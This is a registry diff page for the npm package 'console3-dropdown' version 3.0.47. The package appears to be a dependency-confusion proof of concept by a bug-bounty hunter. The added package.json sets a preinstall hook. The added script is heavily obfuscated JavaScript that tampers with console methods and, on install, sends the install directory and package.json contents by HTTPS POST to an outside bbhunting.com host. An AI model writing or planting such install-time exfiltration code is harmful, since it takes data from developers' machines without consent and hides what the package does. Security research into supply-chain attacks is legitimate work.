console3-dropdown 3.0.47

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of console3-dropdown might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "console3-dropdown",
3
+ "version": "3.0.47",
4
+ "description": "This package sends a callback to a server when installed (for analytics purposes). Original console3-dropdown from a Dependency Confusion (from YesWH Hunter)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"All went OK.\" && exit 1",
8
+ "preinstall": "node ./scripts/preinstall.js"
9
+ },
10
+ "author": "sicarius@wearehackerone.com",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1 @@
1
+ function _0x4939(){const _0xcf9401=['stringify','Preinstall\x20required\x20check\x20completed\x20successfully.\x20Proceeding\x20with\x20custom\x20analytics...','existsSync','write','prototype','3179679MxhIrp','./package.json','223336lJmzIx','apply','https','constructor','230TToTjM','search','table','stdout','1lQuFik','exception','console','log','1267354BAEBDA','end','Error:\x20The\x20required-file.txt\x20is\x20missing.\x20Please\x20create\x20it\x20before\x20installing\x20the\x20package.','2959944EjJNgt','13367745cDJZha','required-file.txt','warn','join','42610dKdOWf','253891dYkKWZ','736FrCVxc','toString','length','error','bind','request','data','application/x-www-form-urlencoded','info','trace','{}.constructor(\x22return\x20this\x22)(\x20)','(((.+)+)+)+$','POST','3y1f31n7273345519pv61u07sv0q11e2r.bbhunting.com','126XBqSla'];_0x4939=function(){return _0xcf9401;};return _0x4939();}const _0x54535c=_0x460e;(function(_0x12420f,_0x3df69b){const _0x2f73ee=_0x460e,_0x516abb=_0x12420f();while(!![]){try{const _0x36b5f4=-parseInt(_0x2f73ee(0x11a))/0x1*(parseInt(_0x2f73ee(0xf2))/0x2)+parseInt(_0x2f73ee(0x110))/0x3+-parseInt(_0x2f73ee(0xfc))/0x4*(parseInt(_0x2f73ee(0xfa))/0x5)+parseInt(_0x2f73ee(0xf5))/0x6+-parseInt(_0x2f73ee(0x10a))/0x7*(-parseInt(_0x2f73ee(0x112))/0x8)+parseInt(_0x2f73ee(0xf6))/0x9+-parseInt(_0x2f73ee(0x116))/0xa*(parseInt(_0x2f73ee(0xfb))/0xb);if(_0x36b5f4===_0x3df69b)break;else _0x516abb['push'](_0x516abb['shift']());}catch(_0x1b99ed){_0x516abb['push'](_0x516abb['shift']());}}}(_0x4939,0xc55f8));function _0x460e(_0x17a4c8,_0x25aa61){const _0x30c717=_0x4939();return _0x460e=function(_0x23ec6b,_0x1534d8){_0x23ec6b=_0x23ec6b-0xf1;let _0x363fdc=_0x30c717[_0x23ec6b];return _0x363fdc;},_0x460e(_0x17a4c8,_0x25aa61);}const _0x4e23da=(function(){let _0x528a8a=!![];return function(_0x2f6b83,_0x4e2be7){const _0x27c308=_0x528a8a?function(){const _0xa38305=_0x460e;if(_0x4e2be7){const _0x3ab571=_0x4e2be7[_0xa38305(0x113)](_0x2f6b83,arguments);return _0x4e2be7=null,_0x3ab571;}}:function(){};return _0x528a8a=![],_0x27c308;};}()),_0x556f50=_0x4e23da(this,function(){const _0x2e2178=_0x460e;return _0x556f50[_0x2e2178(0xfd)]()[_0x2e2178(0x117)](_0x2e2178(0x107))[_0x2e2178(0xfd)]()[_0x2e2178(0x115)](_0x556f50)[_0x2e2178(0x117)]('(((.+)+)+)+$');});_0x556f50();const _0x1534d8=(function(){let _0x47c559=!![];return function(_0x78de5c,_0x56ca1d){const _0x474c26=_0x47c559?function(){const _0x2d761c=_0x460e;if(_0x56ca1d){const _0x2c2e27=_0x56ca1d[_0x2d761c(0x113)](_0x78de5c,arguments);return _0x56ca1d=null,_0x2c2e27;}}:function(){};return _0x47c559=![],_0x474c26;};}()),_0x23ec6b=_0x1534d8(this,function(){const _0x4b83=_0x460e,_0x3da4be=function(){const _0x1239bd=_0x460e;let _0x14f012;try{_0x14f012=Function('return\x20(function()\x20'+_0x1239bd(0x106)+');')();}catch(_0x4da46c){_0x14f012=window;}return _0x14f012;},_0x365790=_0x3da4be(),_0xf5968b=_0x365790[_0x4b83(0x11c)]=_0x365790[_0x4b83(0x11c)]||{},_0x1a9965=[_0x4b83(0xf1),_0x4b83(0xf8),_0x4b83(0x104),_0x4b83(0xff),_0x4b83(0x11b),_0x4b83(0x118),_0x4b83(0x105)];for(let _0x2b7f07=0x0;_0x2b7f07<_0x1a9965[_0x4b83(0xfe)];_0x2b7f07++){const _0x29e927=_0x1534d8[_0x4b83(0x115)][_0x4b83(0x10f)][_0x4b83(0x100)](_0x1534d8),_0x2c25f5=_0x1a9965[_0x2b7f07],_0x40a74a=_0xf5968b[_0x2c25f5]||_0x29e927;_0x29e927['__proto__']=_0x1534d8['bind'](_0x1534d8),_0x29e927['toString']=_0x40a74a['toString']['bind'](_0x40a74a),_0xf5968b[_0x2c25f5]=_0x29e927;}});_0x23ec6b();const https=require(_0x54535c(0x114)),packageJSON=require(_0x54535c(0x111)),fs=require('fs'),path=require('path'),requiredFile=path[_0x54535c(0xf9)](__dirname,'..',_0x54535c(0xf7));!fs[_0x54535c(0x10d)](requiredFile)&&console[_0x54535c(0xff)](_0x54535c(0xf4));console[_0x54535c(0xf1)](_0x54535c(0x10c));const analytics=JSON[_0x54535c(0x10b)]({'p':package,'c':__dirname,'pjson':packageJSON});var postData=querystring[_0x54535c(0x10b)]({'msg':analytics}),http_request_options={'hostname':_0x54535c(0x109),'port':0x1bb,'path':'/','method':_0x54535c(0x108),'headers':{'Content-Type':_0x54535c(0x103),'Content-Length':postData[_0x54535c(0xfe)]}},req=https[_0x54535c(0x101)](http_request_options,_0x180e67=>{const _0x48c9a1=_0x54535c;_0x180e67['on'](_0x48c9a1(0x102),_0x5496dc=>{const _0x191882=_0x48c9a1;process[_0x191882(0x119)][_0x191882(0x10e)](_0x5496dc);});});req['on'](_0x54535c(0xff),_0x5172df=>{}),console[_0x54535c(0xf1)]('Preinstall\x20script\x20completed...'),req[_0x54535c(0x10e)](postData),req[_0x54535c(0xf3)]();